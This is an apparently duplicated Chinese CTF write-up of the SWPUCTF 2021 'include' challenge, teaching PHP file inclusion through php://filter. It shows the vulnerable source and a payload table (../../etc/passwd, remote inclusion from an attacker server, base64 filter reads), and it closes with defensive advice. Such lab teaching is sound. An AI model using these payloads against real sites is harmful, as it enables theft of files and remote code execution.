PHP伪协议实战从CTF题目入门文件包含漏洞第一次接触CTF比赛中的Web安全题目时看到那些看似简单的代码却无从下手的感觉相信很多新手都经历过。就拿这道来自SWPUCTF 2021新生赛的include题目来说表面上看只是一个普通的文件包含但其中隐藏着PHP伪协议的巧妙应用。本文将从一个完全不懂安全的新手视角出发带你一步步拆解这道题目理解背后的原理而不仅仅是复制payload。1. 初识题目理解基本场景打开题目环境我们看到的第一个提示是传入一个file参数试试。这就像是一个友好的邀请告诉我们这个页面期待接收一个名为file的GET参数。对于完全没有经验的新手来说可能会尝试直接访问http://靶机地址/?filetest这时页面会返回两部分内容当前页面的PHP源代码以及一行提示flag在flag.php中。这个反馈已经给了我们两个重要线索服务器确实接收并处理了file参数目标文件是flag.php关键代码分析ini_set(allow_url_include,on); $file$_GET[file]; if(isset($file)){ show_source(__FILE__); echo flag 在flag.php中; } include_once($file);这段代码中最值得关注的是ini_set(allow_url_include,on)它临时开启了PHP的远程文件包含功能。在默认配置中这个选项通常是关闭的因为开启它会带来安全风险。题目特意开启这个选项就是在暗示我们可能需要利用文件包含相关的漏洞。2. 文件包含漏洞基础在PHP中include、require等语句的本意是为了代码复用但它们有一个特性如果传入的文件名是用户可控的就可能被利用来包含非预期的文件。常见利用方式对比利用方式所需条件典型payload本地文件包含无特殊配置?file../../etc/passwd远程文件包含allow_url_includeOn?filehttp://攻击者服务器/恶意脚本PHP伪协议无特殊配置?filephp://filter/convert.base64-encode/resourceflag.php这道题目中虽然开启了远程包含但我们选择更通用的PHP伪协议方法因为它不依赖外部服务器更适合CTF环境。3. PHP伪协议详解PHP内置了多种伪协议它们提供了访问各种输入/输出流的接口。对于文件包含漏洞最常用的是php://filter。php://filter的核心组件read指定读取操作convert.base64-encode对内容进行base64编码的过滤器resource指定要读取的文件为什么需要base64编码因为直接包含flag.php会导致其中的PHP代码被执行而我们只想看到源代码。编码后的内容不会被解析为PHP代码。提示在实际CTF比赛中如果直接包含文件没有返回预期内容尝试base64编码是常见技巧。4. 实战解题步骤现在让我们一步步构造并执行攻击确定目标文件从提示已知是flag.php构造伪协议payloadphp://filter/readconvert.base64-encode/resourceflag.php完整URLhttp://靶机地址/?filephp://filter/readconvert.base64-encode/resourceflag.php解码返回结果 服务器会返回flag.php的base64编码内容使用在线工具或命令行解码echo PD9waHAKJGZsYWcgPSAnZmxhZ3tlYjVlYzYzYi1iOWQ0LTQ4YjEtOTg0Yi1mZTVhMDQ1YjU3ZWN9JzsKPz4 | base64 -d为什么这个方法有效PHP会先处理伪协议读取flag.php的内容经过base64编码后原始PHP代码变为纯文本include语句尝试执行这些代码但实际上只是普通文本编码后的内容被直接输出到页面5. 防御措施与学习延伸理解了攻击原理后作为开发者更应该知道如何防御安全的文件包含实践避免直接使用用户输入作为包含路径如果需要动态包含使用白名单限制可选文件保持PHP配置安全allow_url_includeOff进一步学习建议尝试其他PHP伪协议如php://input研究文件包含与文件上传的组合利用在DVWA等练习环境中实践不同难度的文件包含漏洞在NSSCTF等练习平台上类似的题目还有很多。每解一道题不要止步于拿到flag而应该深入理解背后的原理和变种。文件包含看似简单但在不同配置环境下可能有完全不同的利用方式。
新手也能懂的PHP伪协议实战:从一道CTF题(SWPUCTF 2021新生赛)看include的妙用
PHP伪协议实战从CTF题目入门文件包含漏洞第一次接触CTF比赛中的Web安全题目时看到那些看似简单的代码却无从下手的感觉相信很多新手都经历过。就拿这道来自SWPUCTF 2021新生赛的include题目来说表面上看只是一个普通的文件包含但其中隐藏着PHP伪协议的巧妙应用。本文将从一个完全不懂安全的新手视角出发带你一步步拆解这道题目理解背后的原理而不仅仅是复制payload。1. 初识题目理解基本场景打开题目环境我们看到的第一个提示是传入一个file参数试试。这就像是一个友好的邀请告诉我们这个页面期待接收一个名为file的GET参数。对于完全没有经验的新手来说可能会尝试直接访问http://靶机地址/?filetest这时页面会返回两部分内容当前页面的PHP源代码以及一行提示flag在flag.php中。这个反馈已经给了我们两个重要线索服务器确实接收并处理了file参数目标文件是flag.php关键代码分析ini_set(allow_url_include,on); $file$_GET[file]; if(isset($file)){ show_source(__FILE__); echo flag 在flag.php中; } include_once($file);这段代码中最值得关注的是ini_set(allow_url_include,on)它临时开启了PHP的远程文件包含功能。在默认配置中这个选项通常是关闭的因为开启它会带来安全风险。题目特意开启这个选项就是在暗示我们可能需要利用文件包含相关的漏洞。2. 文件包含漏洞基础在PHP中include、require等语句的本意是为了代码复用但它们有一个特性如果传入的文件名是用户可控的就可能被利用来包含非预期的文件。常见利用方式对比利用方式所需条件典型payload本地文件包含无特殊配置?file../../etc/passwd远程文件包含allow_url_includeOn?filehttp://攻击者服务器/恶意脚本PHP伪协议无特殊配置?filephp://filter/convert.base64-encode/resourceflag.php这道题目中虽然开启了远程包含但我们选择更通用的PHP伪协议方法因为它不依赖外部服务器更适合CTF环境。3. PHP伪协议详解PHP内置了多种伪协议它们提供了访问各种输入/输出流的接口。对于文件包含漏洞最常用的是php://filter。php://filter的核心组件read指定读取操作convert.base64-encode对内容进行base64编码的过滤器resource指定要读取的文件为什么需要base64编码因为直接包含flag.php会导致其中的PHP代码被执行而我们只想看到源代码。编码后的内容不会被解析为PHP代码。提示在实际CTF比赛中如果直接包含文件没有返回预期内容尝试base64编码是常见技巧。4. 实战解题步骤现在让我们一步步构造并执行攻击确定目标文件从提示已知是flag.php构造伪协议payloadphp://filter/readconvert.base64-encode/resourceflag.php完整URLhttp://靶机地址/?filephp://filter/readconvert.base64-encode/resourceflag.php解码返回结果 服务器会返回flag.php的base64编码内容使用在线工具或命令行解码echo PD9waHAKJGZsYWcgPSAnZmxhZ3tlYjVlYzYzYi1iOWQ0LTQ4YjEtOTg0Yi1mZTVhMDQ1YjU3ZWN9JzsKPz4 | base64 -d为什么这个方法有效PHP会先处理伪协议读取flag.php的内容经过base64编码后原始PHP代码变为纯文本include语句尝试执行这些代码但实际上只是普通文本编码后的内容被直接输出到页面5. 防御措施与学习延伸理解了攻击原理后作为开发者更应该知道如何防御安全的文件包含实践避免直接使用用户输入作为包含路径如果需要动态包含使用白名单限制可选文件保持PHP配置安全allow_url_includeOff进一步学习建议尝试其他PHP伪协议如php://input研究文件包含与文件上传的组合利用在DVWA等练习环境中实践不同难度的文件包含漏洞在NSSCTF等练习平台上类似的题目还有很多。每解一道题不要止步于拿到flag而应该深入理解背后的原理和变种。文件包含看似简单但在不同配置环境下可能有完全不同的利用方式。